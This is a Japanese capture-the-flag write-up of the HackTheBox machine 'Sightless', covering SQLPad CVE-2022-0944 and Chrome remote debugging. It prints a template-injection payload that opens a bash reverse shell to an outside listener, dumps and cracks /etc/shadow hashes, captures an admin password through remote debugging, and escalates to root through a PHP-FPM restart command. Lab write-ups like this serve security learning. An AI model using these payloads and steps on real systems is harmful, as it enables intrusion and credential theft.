HackTheBox Writeup：Sightless

# はじめに
本記事はHackTheBoxのWriteupです。

Machineは、Sightlessです。

Sightlessでは、SQLPadの脆弱性やChrome Remote Debuggerについて学びます。

## スキャニング
はじめにポートスキャンを実行します。

以下では事前に用意したシェルを介してポートスキャンを実行しています。

```
##################
# Port scan tool #
##################
 *Detailed scan :1
 *Full scan     :2


 ***Select scanning method by number***
1
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-16 22:57 JST
Nmap scan report for sightless.htb (10.10.11.32)
Host is up (0.27s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp
| fingerprint-strings: 
|   GenericLines: 
|     220 ProFTPD Server (sightless.htb FTP Server) [::ffff:10.10.11.32]
|     Invalid command: try being more creative
|_    Invalid command: try being more creative
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 c9:6e:3b:8f:c6:03:29:05:e5:a0:ca:00:90:c9:5c:52 (ECDSA)
|_  256 9b:de:3a:27:77:3b:1b:e1:19:5f:16:11:be:70:e0:56 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Sightless.htb
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port21-TCP:V=7.94SVN%I=7%D=9/16%Time=66E8394C%P=x86_64-pc-linux-gnu%r(G
SF:enericLines,A0,"220\x20ProFTPD\x20Server\x20\(sightless\.htb\x20FTP\x20
SF:Server\)\x20\[::ffff:10\.10\.11\.32\]\r\n500\x20Invalid\x20command:\x20
SF:try\x20being\x20more\x20creative\r\n500\x20Invalid\x20command:\x20try\x
SF:20being\x20more\x20creative\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 73.14 seconds
Scan completed

```

上記ポートスキャンの結果を基に調査を行います。

## 列挙
ポートスキャンの結果を踏まえて、hostsファイルを編集後sightless.htbにアクセスすると、以下の様な画面が表示されます。

![スクリーンショット 2024-09-16 23.05.19.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/221759/56cd4815-65cd-0f50-b492-99619136f006.png)

ページを確認すると、総合的なデータベースおよびサーバー管理ソリューションを提供するサイトのようです。

### サブドメイン
トップページからリンクされているページにアクセスすると、SQLPadの画面が表示されます。

![スクリーンショット 2024-09-16 23.11.38.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/221759/cb98d045-1de4-27db-bd68-7209000424c0.png)

[SQLPad](https://getsqlpad.com/)は、SQLクエリを記述して実行し、結果を視覚化するためのWebアプリです。

その他gobusterも実施しましたが、特に気になるコンテンツは見当たらなかったため、SQLPadの画面を調査します。

## 脆弱性分析
足場を作るために利用可能な脆弱性を探します。

SQLPadの脆弱性について調査したところ、[CVE-2022-0944](https://nvd.nist.gov/vuln/detail/CVE-2022-0944)が見つかりました。

## システムハッキング
CVE-2022-0944の脆弱性を利用して足場を作ります。

### アクセスの獲得
事前にリスナーを用意した状態で、以下の手順を実行します。

はじめにSQLPadの画面左上のボックスから「...New connection」を選択します。

![スクリーンショット 2024-09-16 23.19.59.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/221759/a8a79ea7-728d-5d34-bd01-1556590ef01d.png)

「Connection name」に任意の名前を入力後「Driver」はMySQLを選択します。

![スクリーンショット 2024-09-16 23.20.45.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/221759/6aa06d64-ae59-46a7-d231-df6deca68c30.png)

「Database」にリバースシェルを取得するためのペイロードを入力して「Save」を押します。

![スクリーンショット 2024-09-16 23.22.34.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/221759/9bafaa87-079f-681c-4fd6-898fe19e0cb5.png)

- Databaseの入力例
`{{ process.mainModule.require('child_process').exec("/bin/bash -c 'bash -i >& /dev/tcp/<REDACTED>/4444 0>&1'") }}`

ペイロードが実行されることによって、リバースシェルが取得できます。

```
listening on [any] 4444 ...
connect to [REDACTED] from (UNKNOWN) [10.10.11.32] 58816
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@c184118df0a6:/var/lib/sqlpad# 
```

リバースシェル取得後はシェルが不安定な状態になっていますが、このまま調査します。

### ユーザーフラグ
最初からルートユーザーであることや`/`ディレクトリにある`docker-entrypoint`ファイルの存在などから、このホストはdockerコンテナであることが推定できます。

```
total 196
drwxr-xr-x  2 root root   4096 Aug  9 11:17 cache
drwxr-xr-x 10 root root   4096 Sep 16 14:28 results
drwxr-xr-x  2 root root   4096 Aug  9 11:17 sessions
-rw-r--r--  1 root root 188416 Sep 16 14:28 sqlpad.sqlite
```

カレントディレクトリ直下に存在する`sqlpad.sqlite`ファイルを転送して、sqlliteで確認したところ、ユーザーテーブルの情報が確認できました。

```
sqlite> select * from users;
id                                    email                role    name  passhash                                                      password_reset_id                     data  signup_at  created_at                      updated_at                      disabled  sync_auth_role  ldap_id
------------------------------------  -------------------  ------  ----  ------------------------------------------------------------  ------------------------------------  ----  ---------  ------------------------------  ------------------------------  --------  --------------  -------
da9a25f7-588c-40f5-89db-58fbebab591f  admin@sightless.htb  admin         $2a$10$cjbITibC.4BQQKJ8NOBUv.p0bG2n8t.RIIKRysR6pZnxquAWsLFcC                                                         2024-05-15 04:48:09.377 +00:00  2024-05-15 18:16:54.652 +00:00  0                                
26113beb-60eb-4a58-81eb-2318e27eb3bf  john@sightless.htb   editor                                                                      2d3499e3-16ba-4b4b-a49e-c7c5dca89f2d                   2024-05-15 12:29:23.725 +00:00  2024-05-15 12:29:27.257 +00:00            0                      
```

上記結果を踏まえて、adminユーザーのハッシュ値から解析したパスワードを用いてFTPやSSHによるログイン試行を行いますが、ログインできません。

ウサギの穴に落ちたと思われるため、他の箇所を調べたところ、`/etc/shadow`ファイルにたどり着きました。

`$ cat /etc/shadow`

```
root:$6$jn8fwk6LVJ9IYw30$qwtrfWTITUro8fEJbReUc7nXyx2wwJsnYdZYm9nMQDHP8SYm33uisO9gZ20LGaepC3ch6Bb2z/lEpBM90Ra4b.:19858:0:99999:7:::
daemon:*:19051:0:99999:7:::
bin:*:19051:0:99999:7:::
sys:*:19051:0:99999:7:::
sync:*:19051:0:99999:7:::
games:*:19051:0:99999:7:::
man:*:19051:0:99999:7:::
lp:*:19051:0:99999:7:::
mail:*:19051:0:99999:7:::
news:*:19051:0:99999:7:::
uucp:*:19051:0:99999:7:::
proxy:*:19051:0:99999:7:::
www-data:*:19051:0:99999:7:::
backup:*:19051:0:99999:7:::
list:*:19051:0:99999:7:::
irc:*:19051:0:99999:7:::
gnats:*:19051:0:99999:7:::
nobody:*:19051:0:99999:7:::
_apt:*:19051:0:99999:7:::
node:!:19053:0:99999:7:::
michael:$6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tlBWaEwuxCDEP9UFHIXNUcF2rBnsaFYuJa6DUh/pL2IJD/:19860:0:99999:7:::
```

michaelユーザーのハッシュ値を解析し、パスワードを取得します。

`$ hashcat -m 1800 hash /usr/share/wordlists/rockyou.txt`

michaelユーザーの取得したパスワードを用いてSSHでログインします。

`$ ssh michael@10.10.11.32`

SSHログイン後、ユーザーフラグが取得できます。

### ルートフラグ
権限昇格を狙うにあたり引き続き列挙を行います。

列挙を行った結果、未確認のサブドメインである`admin.sightless.htb`を発見しました。

```
<VirtualHost 127.0.0.1:8080>
	ServerAdmin webmaster@localhost
	DocumentRoot /var/www/html/froxlor
	ServerName admin.sightless.htb
	ServerAlias admin.sightless.htb
	ErrorLog ${APACHE_LOG_DIR}/error.log
	CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
```

`ss`コマンドで確認すると、8080番ポートはローカルホストからしかアクセスできないことが分かります。


```
LISTEN            0                 511                              127.0.0.1:8080                              0.0.0.0:*
```

ローカルポートフォワーディングを介して8080番ポートにアクセスすると、Froxlorの画面が確認できます。

`$ ssh -L 8080:127.0.0.1:8080 michael@10.10.11.32`

![スクリーンショット 2024-09-16 23.50.35.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/221759/deb53251-96a9-5c31-dbd0-d94ef067a434.png)

ログインするためには資格情報が必要です。プロセスの情報からcronでシェルを起動して、シェルからPythonを介してChromeを起動していると思われます。
また、`--remote-debugging-port=0 `オプションを付与していることから、ヘッドレスモードで動作していることが分かります。従ってChrome Remote Debuggerを利用することで、認証情報の取得を試みます。

事前にChromeを起動していると思われるポートに対して、ローカルポートフォワーディングを行い、chromeブラウザから`chrome://inspect/#devices`にアクセスします。

![スクリーンショット 2024-09-16 23.54.24.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/221759/13d554aa-ae77-c9e0-849f-bd30210e21fd.png)

「Configure」を押して、Chromeを起動していると思われるポートを追加します。

![スクリーンショット 2024-09-16 23.55.01.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/221759/9b5352b4-63e8-deba-cf1e-a3eb62e0df11.png)

ポートを追加後、以下の様なRemote Targetに関する情報が表示されたら「inspect」を押してログイン画面を検査します。

![スクリーンショット 2024-09-17 22.58.35.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/221759/4960512d-5d57-245c-87f3-1e8acbc138f3.png)

しばらくすると、adminユーザーのログインが確認できます。

![スクリーンショット 2024-09-17 23.00.04.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/221759/cae983e2-e08f-d8ad-2f74-3ec1a70deb59.png)


`index.php`に対するPOSTのPayloadタブからキャプチャしたパスワードが確認できます。

![スクリーンショット 2024-09-17 23.01.42.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/221759/d1dcd5c6-60bd-2607-5b2b-2264f879e349.png)

取得した資格情報を用いてログインします。

![スクリーンショット 2024-09-16 23.57.24.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/221759/c298c445-f568-7466-1ff9-ccd0eaf879e5.png)

ナビゲーションメニューの「PHP-FPM versions」を選択して「Create new PHP version」を押します。

![スクリーンショット 2024-09-16 23.57.39.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/221759/9f8964dc-6e81-0f61-af08-cc1d31c6f595.png)

「PHP-FPM restart command」を編集して、任意のコマンドを入力します。

![スクリーンショット 2024-09-16 23.58.10.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/221759/212eb8f5-3259-612d-22f8-69b575cffbd0.png)

php-fpmが再起動されることで、コマンドが実行されます。php-fpmを利用することで、権限昇格を行うことができます。

# おわりに
ルートフラグは難しいチャレンジでした。

## 参考
- [Chrome ヘッドレス モード](https://developer.chrome.com/docs/chromium/headless?hl=ja)
- [Chrome Remote Debugger Pentesting](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/chrome-remote-debugger-pentesting/)